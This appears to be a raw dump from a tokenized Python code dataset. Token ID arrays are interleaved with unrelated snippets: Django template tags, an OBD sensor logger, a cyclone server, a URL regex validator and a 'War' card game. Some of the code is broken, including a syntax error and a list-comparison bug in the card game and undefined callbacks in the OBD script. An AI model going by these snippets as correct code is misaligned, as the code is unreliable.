13, 37348, 1095, 13, 22866, 62, 14681, 669, 13, 37348, 1095, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16589, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 8964, 198, 60, 198, 198, 19416, 18878, 62, 2969, 31484, 6234, 796, 366, 86, 363, 13199, 62, 28243, 13, 18504, 12397, 13, 31438, 1, 628, 198, 2, 24047, 198, 2, 3740, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 5420, 14, 33692, 31113, 19608, 18826, 198, 198, 361, 366, 35, 1404, 6242, 11159, 62, 21886, 1, 287, 28686, 13, 268, 2268, 25, 198, 220, 220, 220, 360, 1404, 6242, 1921, 1546, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 12286, 1298, 42625, 62, 48806, 62, 6371, 13, 29572, 7, 418, 13, 268, 2268, 14692, 35, 1404, 6242, 11159, 62, 21886, 8973, 828, 198, 220, 220, 220, 1782, 628, 198, 2, 30275, 21201, 198, 2, 3740, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 5420, 14, 33692, 31113, 18439, 12, 28712, 12, 12102, 2024, 198, 198, 32, 24318, 62, 47924, 54, 12532, 62, 23428, 2389, 1404, 20673, 796, 685, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 20608, 1298, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 13, 28712, 62, 12102, 341, 13, 12982, 33682, 18925, 414, 47139, 1352, 1600, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 20608, 1298, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 13, 28712, 62, 12102, 341, 13, 44046, 24539, 47139, 1352, 1600, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 20608, 1298, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 13, 28712, 62, 12102, 341, 13, 17227, 35215, 47139, 1352, 1600, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 20608, 1298, 366, 28241, 14208, 13, 3642, 822, 13, 18439, 13, 28712, 62, 12102, 341, 13, 45, 39223, 35215, 47139, 1352, 1600, 198, 220, 220, 220, 8964, 198, 60, 628, 198, 2, 4037, 1634, 198, 2, 3740, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 4852, 873, 14, 72, 1507, 77, 14, 198, 198, 43, 15567, 52, 11879, 62, 34, 16820, 796, 366, 268, 12, 385, 1, 198, 198, 34694, 62, 57, 11651, 796, 366, 17429, 1, 198, 198, 19108, 62, 40, 1507, 45, 796, 6407, 198, 198, 19108, 62, 43, 940, 45, 796, 6407, 198, 198, 19108, 62, 51, 57, 796, 6407, 628, 198, 2, 36125, 3696, 357, 49155, 11, 11933, 11, 5382, 8, 198, 2, 3740, 1378, 31628, 13, 28241, 648, 404, 305, 752, 13, 785, 14, 268, 14, 19, 13, 15, 14, 4919, 1462, 14, 12708, 12, 16624, 14, 198, 198, 35744, 2149, 46700, 1546, 62, 37, 12115, 4877, 796, 685, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 12708, 16624, 13, 19796, 364, 13, 8979, 11964, 37, 5540, 1600, 198, 220, 220, 220, 366, 28241, 14208, 13, 3642, 822, 13, 12708, 16624, 13, 19796, 364, 13, 4677, 13470, 1749, 37, 5540, 1600, 198, 60, 198, 198, 35744, 2149, 46700, 1546, 62, 34720, 50, 796, 685, 198, 220, 220, 220, 28686, 13, 6978, 13, 22179, 7, 31190, 23680, 62, 34720, 11, 366, 12708, 12340, 198, 60, 198, 198, 2, 45157, 1431, 9037, 2393, 7351, 198, 2, 3740, 1378, 7959, 16159, 13, 11718, 23063, 13, 785, 14, 26845, 14, 28241, 14208, 12, 19668, 198, 2, 3740, 1378, 1574, 4803, 13, 29412, 13, 2398, 14, 16302, 14, 1929, 270, 23397, 786, 14, 198, 35744, 2149, 46700, 1546, 62, 2257, 1581, 11879, 796, 366, 1929, 270, 23397, 786, 13, 35350, 13, 7293, 2790, 5124, 8409, 45442, 25876, 31425, 1, 198, 198, 35744, 2149, 62, 13252, 2394, 796, 28686, 13, 6978, 13, 22179, 7, 33, 11159, 62, 34720, 11, 366, 12708, 16624, 4943, 198, 35744, 2149, 62, 21886, 796, 12813, 12708, 30487, 198, 198, 2, 6343, 6143, 198, 361, 3253, 82, 62, 35350, 62, 27041, 316, 62, 3672, 19039, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 2257, 1581, 11879, 62, 33, 16696, 2767, 62, 20608, 1, 2599, 198, 220, 220, 220, 30865, 62, 2257, 1581, 11879, 62, 33, 16696, 2767, 62, 20608, 796, 3253, 82, 62, 35350, 62, 27041, 316, 62, 3672, 198, 220, 220, 220, 5550, 38865, 62, 25664, 62, 2257, 1581, 11879, 796, 366, 301, 273, 1095, 13, 1891, 2412, 13, 82, 18, 65, 2069, 18, 13, 50, 18, 33, 2069, 18, 31425, 1, 198, 220, 220, 220, 30865, 62, 26861, 7597, 62, 20373, 62, 2389, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 26861, 7597, 62, 20373, 62, 2389, 4943, 198, 220, 220, 220, 30865, 62, 23683, 26087, 62, 26861, 7597, 62, 20373, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 23683, 26087, 62, 26861, 7597, 62, 20373, 4943, 198, 220, 220, 220, 30865, 62, 50, 18, 62, 31553, 2849, 62, 20608, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 50, 18, 62, 31553, 2849, 62, 20608, 4943, 198, 220, 220, 220, 30865, 62, 50, 18, 62, 34, 7759, 2662, 62, 39170, 29833, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 50, 18, 62, 34, 7759, 2662, 62, 39170, 29833, 4943, 198, 220, 220, 220, 30865, 62, 29701, 6234, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 29701, 6234, 1600, 366, 4943, 198, 220, 220, 220, 1303, 26299, 2174, 428, 389, 1884, 691, 5981, 329, 1262, 1855, 952, 15726, 198, 220, 220, 220, 30865, 62, 50, 18, 62, 1677, 6322, 46, 12394, 62, 21886, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 50, 18, 62, 1677, 6322, 46, 12394, 62, 21886, 4943, 198, 220, 220, 220, 30865, 62, 50, 18, 62, 19108, 62, 31127, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 50, 18, 62, 19108, 62, 31127, 1600, 366, 7942, 11074, 21037, 3419, 6624, 366, 7942, 1, 198, 220, 220, 220, 30865, 62, 50, 18, 62, 23683, 11335, 62, 4261, 6561, 796, 28686, 13, 1136, 24330, 7203, 12298, 50, 62, 50, 18, 62, 19108, 62, 31127, 1600, 366, 7942, 11074, 21037, 3419, 6624, 366, 7942, 1, 198, 198, 2, 21309, 13199, 6460, 198, 198, 54, 4760, 5603, 4146, 62, 50, 12709, 62, 20608, 796, 366, 86, 363, 13199, 62, 28243, 1, 198, 198, 2, 11140, 198, 2, 3740, 1378, 31628, 13, 86, 363, 13199, 13, 2398, 14, 268, 14, 31284, 14, 4852, 873, 14, 12947, 14, 1891, 2412, 13, 6494, 198, 54, 4760, 5603, 4146, 5188, 31315, 62, 31098, 1677, 5258, 796, 1391, 198, 220, 220, 220, 366, 12286, 1298, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 31098, 10619, 1298, 366, 86, 363, 13199, 13, 12947, 13, 1891, 2412, 13, 48806, 1600, 198, 220, 220, 220, 1782, 198, 92, 198, 198, 2, 7308, 10289, 284, 779, 618, 9759, 284, 1336, 32336, 1626, 262, 21309, 13199, 13169, 30203, 532, 198, 2, 304, 13, 70, 13, 287, 14483, 7237, 13, 2094, 470, 2291, 31051, 28482, 6, 393, 257, 25462, 24632, 198, 33, 11159, 62, 21886, 796, 28686, 13, 1136, 24330, 7203, 33, 11159, 62, 21886, 1600, 366, 4943, 198, 198, 7036, 3913, 1961, 62, 39, 10892, 50, 796, 28686, 13, 1136, 24330, 7203, 7036, 3913, 1961, 62, 39, 10892, 50, 1600, 366, 11074, 35312, 7, 2430, 8, 198, 198, 23683, 26087, 62, 20373, 796, 28686, 13, 1136, 24330, 7203, 23683, 26087, 62, 20373, 1600, 366, 4943, 628, 198, 2, 13047, 6447, 198, 2, 3740, 1378, 31628, 13, 82, 13000, 13, 952, 14, 24254, 82, 14, 29412, 14, 5162, 1460, 14, 28241, 14208, 14, 198, 2, 3740, 1378, 4743, 2007, 22504, 13, 785, 14, 21282, 74, 31628, 14, 29412, 12, 28241, 14208, 198, 361, 1908, 563, 62, 9310, 77, 19039, 28686, 13, 1136, 24330, 7203, 50, 3525, 18276, 62, 5258, 45, 1, 2599, 198, 220, 220, 220, 1330, 1908, 563, 62, 21282, 74, 198, 220, 220, 220, 422, 1908, 563, 62, 21282, 74, 13, 18908, 9143, 13, 28241, 14208, 1330, 37770, 34500, 1358, 198, 220, 220, 220, 422, 1908, 563, 62, 21282, 74, 13, 26791, 1330, 651, 62, 12286, 62, 20979, 628, 220, 220, 220, 311, 3525, 18276, 62, 1677, 53, 4663, 1340, 10979, 796, 13004, 1565, 11230, 62, 1677, 53, 628, 220, 220, 220, 1303, 25770, 284, 651, 2650, 2196, 422, 11352, 563, 338, 3384, 4487, 290, 257, 3155, 584, 2858, 9633, 628, 220, 220, 220, 311, 3525, 18276, 62, 1503, 14313, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 9310, 77, 1298, 1908, 563, 62, 9310, 77, 11, 198, 220, 220, 220, 220, 220, 220, 220, 366, 18908, 9143, 1298, 685, 35, 73, 14208, 34500, 1358, 3419, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 366, 38986, 1298, 311, 3525, 18276, 62, 1677, 53, 4663, 1340, 10979, 11, 198, 220, 220, 220, 220, 220, 220, 220, 366, 20979, 1298, 651, 62, 20979, 62, 9641, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 366, 2213, 2114, 62, 39873, 62, 4873, 1298, 657, 13, 486, 11, 198, 220, 220, 220, 1782, 628, 220, 220, 220, 1303, 11160, 6246, 9646, 318, 407, 4855, 416, 2671, 2007, 28434, 198, 220, 220, 220, 611, 366, 82, 13000, 13, 952, 1, 287, 1908, 563, 62, 9310, 77, 25, 198, 220, 220, 220, 220, 220, 220, 220, 311, 3525, 18276, 62, 1503, 14313, 14692, 23736, 62, 29891, 62, 36280, 8973, 796, 6407, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 311, 3525, 18276, 62, 1503, 14313, 14692, 23736, 62, 29891, 62, 36280, 8973, 796, 10352, 628, 220, 220, 220, 1908, 563, 62, 21282, 74, 13, 15003, 7, 1174, 50, 3525, 18276, 62, 1503, 14313, 8, 628, 220, 220, 220, 1303, 2039, 2977, 10289, 284, 1332, 11352, 563, 11812, 198, 220, 220, 220, 412, 4535, 19146, 62, 50, 3525, 18276, 62, 51, 6465, 62, 21886, 796, 357, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 268, 2268, 13, 1136, 7203, 1677, 17534, 62, 50, 3525, 18276, 62, 51, 6465, 62, 21886, 1600, 366, 9562, 11074, 21037, 3419, 6624, 366, 7942, 1, 198, 220, 220, 220, 1267, 198 ]
2.371019
2,857
from __future__ import absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement from django import template from ..models import Seat register = template.Library() @register.filter @register.inclusion_tag('seat.html', takes_context=True)
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 7297, 11, 27298, 11, 28376, 62, 1416, 13920, 11, 3601, 62, 8818, 11, 28000, 1098, 62, 17201, 874, 11, 351, 62, 26090, 198, 198, 6738, 42625, 14208, 1330, 11055, 198, 198, 6738, 11485, 27530, 1330, 26682, 198, 198, 30238, 796, 11055, 13, 23377, 3419, 628, 198, 31, 30238, 13, 24455, 628, 198, 31, 30238, 13, 259, 4717, 62, 12985, 10786, 24073, 13, 6494, 3256, 2753, 62, 22866, 28, 17821, 8, 628 ]
3.65
80
import threading import os import obd from random import random from pathlib import Path conn = obd.OBD() connect = obd.Async(fast=False) speed="" fueli="" tem ="" connect.watch(obd.commands.INTAKE_TEMP,callback=get_temp) connect.watch(obd.commands.FUEL_LEVEL,callback=get_fuel) connect.watch(obd.commands.SPEED,callback=get_speed) while True: tempz = open("temp.txt","w+") fuel1 = open("fuel.txt","w+") speed1 = open("speed.txt","w+") speed1.write(speed) tempz.write(tem) fuel1.write(fueli) print(speed)
[ 11748, 4704, 278, 220, 198, 11748, 28686, 198, 11748, 909, 67, 198, 6738, 4738, 1330, 4738, 198, 6738, 3108, 8019, 1330, 10644, 628, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 198, 37043, 796, 909, 67, 13, 9864, 35, 3419, 198, 8443, 796, 909, 67, 13, 42367, 7, 7217, 28, 25101, 8, 628, 198, 12287, 33151, 198, 25802, 72, 33151, 198, 11498, 796, 15931, 628, 198, 198, 8443, 13, 8340, 7, 672, 67, 13, 9503, 1746, 13, 1268, 5603, 7336, 62, 51, 39494, 11, 47423, 28, 1136, 62, 29510, 8, 198, 8443, 13, 8340, 7, 672, 67, 13, 9503, 1746, 13, 38989, 3698, 62, 2538, 18697, 11, 47423, 28, 1136, 62, 25802, 8, 198, 8443, 13, 8340, 7, 672, 67, 13, 9503, 1746, 13, 4303, 41841, 11, 47423, 28, 1136, 62, 12287, 8, 628, 198, 4514, 6407, 25, 198, 220, 220, 220, 20218, 89, 796, 1280, 7203, 29510, 13, 14116, 2430, 86, 10, 4943, 198, 220, 220, 220, 5252, 16, 796, 1280, 7203, 25802, 13, 14116, 2430, 86, 10, 4943, 198, 220, 220, 220, 2866, 16, 796, 1280, 7203, 12287, 13, 14116, 2430, 86, 10, 4943, 628, 220, 220, 220, 2866, 16, 13, 13564, 7, 12287, 8, 198, 220, 220, 220, 20218, 89, 13, 13564, 7, 11498, 8, 198, 220, 220, 220, 5252, 16, 13, 13564, 7, 25802, 72, 8, 198, 220, 220, 220, 198, 220, 220, 220, 3601, 7, 12287, 8, 628, 198, 220, 220, 220, 220, 198 ]
2.344398
241
# Core Library import logging # Third party from gym.envs.registration import register logger = logging.getLogger(__name__) register(id="Mouse-v0", entry_point="gym_mouse.envs:MouseEnv")
[ 2, 7231, 10074, 198, 11748, 18931, 198, 198, 2, 10467, 2151, 198, 6738, 11550, 13, 268, 14259, 13, 2301, 33397, 1330, 7881, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 30238, 7, 312, 2625, 39643, 12, 85, 15, 1600, 5726, 62, 4122, 2625, 1360, 76, 62, 35888, 13, 268, 14259, 25, 39643, 4834, 85, 4943 ]
2.953125
64
#Given an n-ary tree, # return the postorder # traversal of its nodes' values. #Recursion is easy to implement and understand by definition # https://en.wikipedia.org/wiki/Tree_traversal#Post-order_(LRN)
[ 2, 15056, 281, 299, 12, 560, 5509, 11, 220, 198, 2, 1441, 262, 1281, 2875, 220, 198, 2, 33038, 282, 286, 663, 13760, 6, 3815, 13, 198, 2, 6690, 24197, 318, 2562, 284, 3494, 290, 1833, 416, 6770, 220, 198, 2, 3740, 1378, 268, 13, 31266, 13, 2398, 14, 15466, 14, 27660, 62, 9535, 690, 282, 2, 6307, 12, 2875, 41052, 35972, 45, 8, 198, 220, 220 ]
3.119403
67
from flask_restful import Resource, reqparse, request from flask_restful import fields, marshal_with, marshal from sqlalchemy.exc import IntegrityError from sqlalchemy import or_, and_, text from flask_jwt_extended import jwt_required from models.keyword import Keyword from app import db from utils.util import max_res from helpers.keywords_resource_helper import *
[ 6738, 42903, 62, 2118, 913, 1330, 20857, 11, 43089, 29572, 11, 2581, 198, 6738, 42903, 62, 2118, 913, 1330, 7032, 11, 22397, 282, 62, 4480, 11, 22397, 282, 198, 6738, 44161, 282, 26599, 13, 41194, 1330, 39348, 12331, 198, 6738, 44161, 282, 26599, 1330, 393, 62, 11, 290, 62, 11, 2420, 198, 6738, 42903, 62, 73, 46569, 62, 2302, 1631, 1330, 474, 46569, 62, 35827, 198, 6738, 4981, 13, 2539, 4775, 1330, 7383, 4775, 198, 6738, 598, 1330, 20613, 198, 6738, 3384, 4487, 13, 22602, 1330, 3509, 62, 411, 628, 198, 6738, 49385, 13, 2539, 10879, 62, 31092, 62, 2978, 525, 1330, 1635 ]
3.572816
103
import os directory = os.path.dirname(__file__)
[ 11748, 28686, 198, 198, 34945, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 834, 7753, 834, 8, 628, 198 ]
2.684211
19
import os, sys, cyclone.web import pyobf from twisted.python import log from twisted.internet import reactor if __name__ == "__main__": log.startLogging(sys.stdout) port = int(os.environ.get('PORT', 5000)) reactor.listenTCP(port, Application()) reactor.run()
[ 11748, 28686, 11, 25064, 11, 11700, 505, 13, 12384, 198, 11748, 12972, 672, 69, 198, 6738, 19074, 13, 29412, 1330, 2604, 198, 6738, 19074, 13, 37675, 1330, 21905, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 2604, 13, 9688, 11187, 2667, 7, 17597, 13, 19282, 448, 8, 198, 220, 220, 220, 2493, 796, 493, 7, 418, 13, 268, 2268, 13, 1136, 10786, 15490, 3256, 23336, 4008, 198, 220, 220, 220, 21905, 13, 4868, 268, 4825, 47, 7, 634, 11, 15678, 28955, 198, 220, 220, 220, 21905, 13, 5143, 3419, 198 ]
2.826531
98
"""This file defines a URL validators based on Django ones. """ import re # ---------------------------------------------------------------------------------------------------------------------- """ this regex is different from the one defined by Django because: - in our case protocol is optional - I decided that localhost is not a valid URL. This is a design decision that may be changed in future. """ url_regex = re.compile( r'^((?:http|ftp)s?://)?' # http:// or https:// r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip r'(?::\d+)?' # optional port r'(?:/?|[/?]\S+)$', re.IGNORECASE) # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- """ When doing a redirect, we need a URL with a protocol and using regex seems to be a simplest way of doing that """ redirect_url_regex = re.compile( r'^(?:http|ftp)s?://.*$', re.IGNORECASE) # ---------------------------------------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------------------------------------
[ 37811, 1212, 2393, 15738, 257, 10289, 4938, 2024, 1912, 319, 37770, 3392, 13, 198, 198, 37811, 198, 198, 11748, 302, 198, 198, 2, 16529, 3880, 19351, 438, 198, 198, 37811, 428, 40364, 318, 1180, 422, 262, 530, 5447, 416, 37770, 780, 25, 220, 198, 220, 532, 287, 674, 1339, 8435, 318, 11902, 198, 220, 532, 314, 3066, 326, 1957, 4774, 318, 407, 257, 4938, 10289, 13, 770, 318, 257, 1486, 2551, 326, 743, 307, 3421, 287, 2003, 13, 198, 37811, 198, 198, 6371, 62, 260, 25636, 796, 302, 13, 5589, 576, 7, 198, 220, 220, 220, 220, 220, 220, 220, 374, 6, 61, 19510, 27514, 4023, 91, 701, 79, 8, 82, 30, 1378, 8, 8348, 1303, 2638, 1378, 393, 3740, 1378, 198, 220, 220, 220, 220, 220, 220, 220, 374, 6, 7, 27514, 7, 27514, 58, 32, 12, 57, 15, 12, 24, 16151, 27514, 58, 32, 12, 57, 15, 12, 24, 12, 60, 90, 15, 11, 5333, 92, 58, 32, 12, 57, 15, 12, 24, 12962, 30, 59, 2014, 33747, 27514, 58, 32, 12, 57, 60, 90, 17, 11, 21, 92, 17405, 30, 91, 58, 32, 12, 57, 15, 12, 24, 12, 60, 90, 17, 11, 92, 17405, 10091, 91, 6, 1303, 27830, 986, 198, 220, 220, 220, 220, 220, 220, 220, 374, 6, 59, 67, 90, 16, 11, 18, 92, 17405, 59, 67, 90, 16, 11, 18, 92, 17405, 59, 67, 90, 16, 11, 18, 92, 17405, 59, 67, 90, 16, 11, 18, 30072, 6, 1303, 2644, 273, 20966, 198, 220, 220, 220, 220, 220, 220, 220, 374, 6, 7, 30, 3712, 59, 67, 28988, 8348, 1303, 11902, 2493, 198, 220, 220, 220, 220, 220, 220, 220, 374, 6, 7, 30, 14079, 30, 91, 13412, 26398, 59, 50, 28988, 3, 3256, 302, 13, 16284, 1581, 2943, 11159, 8, 198, 198, 2, 16529, 3880, 19351, 438, 628, 198, 2, 16529, 3880, 19351, 438, 198, 198, 37811, 1649, 1804, 257, 18941, 11, 356, 761, 257, 10289, 351, 257, 8435, 290, 1262, 40364, 2331, 284, 307, 257, 24043, 835, 286, 1804, 326, 198, 37811, 198, 198, 445, 1060, 62, 6371, 62, 260, 25636, 796, 302, 13, 5589, 576, 7, 198, 220, 220, 220, 220, 220, 220, 220, 374, 6, 61, 7, 27514, 4023, 91, 701, 79, 8, 82, 30, 1378, 15885, 3, 3256, 302, 13, 16284, 1581, 2943, 11159, 8, 198, 198, 2, 16529, 3880, 19351, 438, 628, 198, 2, 16529, 3880, 19351, 438, 198 ]
3.545906
403
#!/usr/bin/env python3.6 import random def init(): ''' This builds the deck to draw from. This runs at the beginning of the program then shoud only be run to start a new game. ''' # These are the possible face values and suits for the cards. cardfaces = ("A","K","Q","J","10","9","8","7","6","5","4","3","2") cardsuits = ("H","S","D","C") # This section builds the cards with their assigned suits # ex. thisdeck = [AH, KH, QH, ...] thisdeck = [] complete_deck = [] for suit in cardsuits: for face in cardfaces: thisdeck.append(face+suit) # This section takes the completed deck and assigns each card to a tuple # This tuple has the generated card value and suit at complete_deck[*] # The card's numeric stregnth is stored in complete_deck[*][*] # A = 14, K = 13, Q = 12, J = 11 # ex. complete_deck = [(AH, 14), (KH, 13), (QH, 12), ... ] for card in thisdeck: card_value = '' for value in card: if value == 'D' or value == 'S' or value == 'C' or value == 'H': break elif value == 'A' or value == 'K' or value == 'Q' or value == 'J': if value == 'A': card_value = 14 elif value == 'K': card_value = 13 elif value == 'Q': card_value = 12 else: card_value = 11 else: card_value = card_value + str(value) complete_deck.append((card, int(card_value))) return complete_deck def shuffle(mycards): ''' This takes the input list and shuffles it. In war.py it is used to shuffle decks of cards stord in lists. Requires import random. ''' unshuffled = mycards shuffled = [] for count in range (0,len(unshuffled)): pick = '' while (pick == ''): pick = random.choice(unshuffled) shuffled.append(pick) unshuffled.remove(pick) return shuffled def startinghands(deck): ''' This function divides the availible cards to the two players. ''' hand0 = [] hand1 = [] count = 0 for deal in range(0,len(deck)): # Switch the target player when dealing each card. # This reflects a real card deal. if count % 2 == 0: hand0.append(deck[deal]) else: hand1.append(deck[deal]) # instead of .append() I may want to use insert to place new cards at # the front of the list. This would reflect a real deal even closer. count += 1 return (hand0, hand1) def print_hands(p1hand, p2hand): ''' This prints the current hands for the players. It only prints the face value and suit. It does not print the converted value for the card. ''' print ('Player 1 has', len(p1hand), 'card(s): ') for card_pair in p1hand: print (card_pair[0], end=' ') print('\n') print ('Player 2 has', len(p2hand), 'card(s): ') for card_pair in p2hand: print (card_pair[0], end=' ') print('\n') def fight(hand1, hand2): ''' This function is the core for comparing the cards The function expects 2 lists of tuples containing the players hands. example input: [(AH, 14), (KH, 13), (QH, 12), ... ] ''' card1 = '' card2 = '' player1loot = [] player2loot = [] while hand1 != [] and hand2 != []: while hand1 != [] and hand2 != []: print () print ('Card pair: ') print ('Player 1: ', hand1[0][0]) print ('Player 2: ', hand2[0][0]) # ################################# # #######TO DO##################### if hand1[0][0] == hand2[0][0]: # war(hand1, hand2, player1loot, player2loot) hand1.pop(0) hand2.pop(0) # #####COMPLETE WAR FUNCTION ABOVE# # ################################# elif hand1 > hand2: print ('Player 1 wins hand') player1loot.append(hand1[0]) player1loot.append(hand2[0]) hand1.pop(0) hand2.pop(0) else: print ('Player 2 wins hand') player2loot.append(hand1[0]) player2loot.append(hand2[0]) hand1.pop(0) hand2.pop(0) ''' # uncomment below lines to see how cards move during shuffling process # see below comment block too! print ('-------------------Before Shuffle-------------------') print ('\#cards', len(hand1), 'hand1', hand1) print ('\#cards', len(hand2), 'hand2', hand2) print () print ('\#cards', len(player1loot), 'p1loot', player1loot) print ('\#cards', len(player2loot), 'p2loot', player2loot) print () # uncomment above lines to see how cards move during shuffling process ''' # ??????Why does this blank the list used for the argument??? if hand1 == []: print('Shuffling player 1\'s hand') hand1 = shuffle(player1loot) else: pass if hand2 == []: print('Shuffling player 2\'s hand') hand2 = shuffle(player2loot) else: pass ''' # uncomment below lines to see how cards move during shuffling process # see above comment block too! print ('-------------------After Shuffle--------------------') print ('\#cards', len(hand1), 'hand1', hand1) print ('\#cards', len(hand2), 'hand2', hand2) print () print ('\#cards', len(player1loot), 'p1loot', player1loot) print ('\#cards', len(player2loot), 'p2loot', player2loot) print () # uncomment above lines to see how cards move during shuffling process ''' # check to see if player hand is still empty after shuffle # if it is other player wins!! if hand1 == []: print ('Player 2 Wins!!') else: pass if hand2 == []: print ('Player 1 Wins!!') else: pass def war(hand1, hand2, player1loot, player2loot): ''' If two cards match in the war function this one resolves the tie. ''' print ('WAR!!!') print ('P1 card: ', hand1[0][0], 'P2 card: ', hand2[0][0]) print ('Cards on the line: ') print (' P1 P2') for card in range(3): print (' ', hand1[card][0], hand2[card][0] if __name__ == '__main__': # These lines start the game and initialize the deck and player's hands. cards = init() cards = shuffle(cards) cards = startinghands(cards) p1hand = cards[0] p2hand = cards[1] # ###################################################################### # This will print the players starting hands. print_hands(p1hand, p2hand) fight(p1hand, p2hand)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 13, 21, 198, 198, 11748, 4738, 628, 198, 4299, 2315, 33529, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 770, 12188, 262, 6203, 284, 3197, 422, 13, 198, 220, 220, 220, 770, 4539, 379, 262, 3726, 286, 262, 1430, 788, 427, 2778, 691, 307, 1057, 198, 220, 220, 220, 284, 923, 257, 649, 983, 13, 198, 220, 220, 220, 705, 7061, 628, 220, 220, 220, 1303, 2312, 389, 262, 1744, 1986, 3815, 290, 14803, 329, 262, 4116, 13, 198, 220, 220, 220, 2657, 32186, 796, 5855, 32, 2430, 42, 2430, 48, 2430, 41, 2430, 940, 2430, 24, 2430, 23, 2430, 22, 2430, 21, 2430, 20, 2430, 19, 2430, 18, 2430, 17, 4943, 198, 220, 220, 220, 4116, 15379, 796, 5855, 39, 2430, 50, 2430, 35, 2430, 34, 4943, 628, 220, 220, 220, 1303, 770, 2665, 12188, 262, 4116, 351, 511, 8686, 14803, 198, 220, 220, 220, 1303, 409, 13, 428, 35875, 796, 685, 18429, 11, 40249, 11, 1195, 39, 11, 2644, 60, 198, 220, 220, 220, 428, 35875, 796, 17635, 198, 220, 220, 220, 1844, 62, 35875, 796, 17635, 198, 220, 220, 220, 329, 6050, 287, 4116, 15379, 25, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1986, 287, 2657, 32186, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 428, 35875, 13, 33295, 7, 2550, 10, 6063, 8, 628, 220, 220, 220, 1303, 770, 2665, 2753, 262, 5668, 6203, 290, 46974, 1123, 2657, 284, 257, 46545, 198, 220, 220, 220, 1303, 770, 46545, 468, 262, 7560, 2657, 1988, 290, 6050, 379, 1844, 62, 35875, 58, 9, 60, 198, 220, 220, 220, 1303, 383, 2657, 338, 35575, 1937, 4593, 400, 318, 8574, 287, 1844, 62, 35875, 58, 9, 7131, 9, 60, 198, 220, 220, 220, 1303, 317, 796, 1478, 11, 509, 796, 1511, 11, 1195, 796, 1105, 11, 449, 796, 1367, 198, 220, 220, 220, 1303, 409, 13, 1844, 62, 35875, 796, 47527, 18429, 11, 1478, 828, 357, 42, 39, 11, 1511, 828, 357, 48, 39, 11, 1105, 828, 2644, 2361, 198, 220, 220, 220, 329, 2657, 287, 428, 35875, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2657, 62, 8367, 796, 10148, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1988, 287, 2657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1988, 6624, 705, 35, 6, 393, 1988, 6624, 705, 50, 6, 393, 1988, 6624, 705, 34, 6, 393, 1988, 6624, 705, 39, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 1988, 6624, 705, 32, 6, 393, 1988, 6624, 705, 42, 6, 393, 1988, 6624, 705, 48, 6, 393, 1988, 6624, 705, 41, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1988, 6624, 705, 32, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2657, 62, 8367, 796, 1478, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 1988, 6624, 705, 42, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2657, 62, 8367, 796, 1511, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 1988, 6624, 705, 48, 10354, 198, 220, 220, 220, 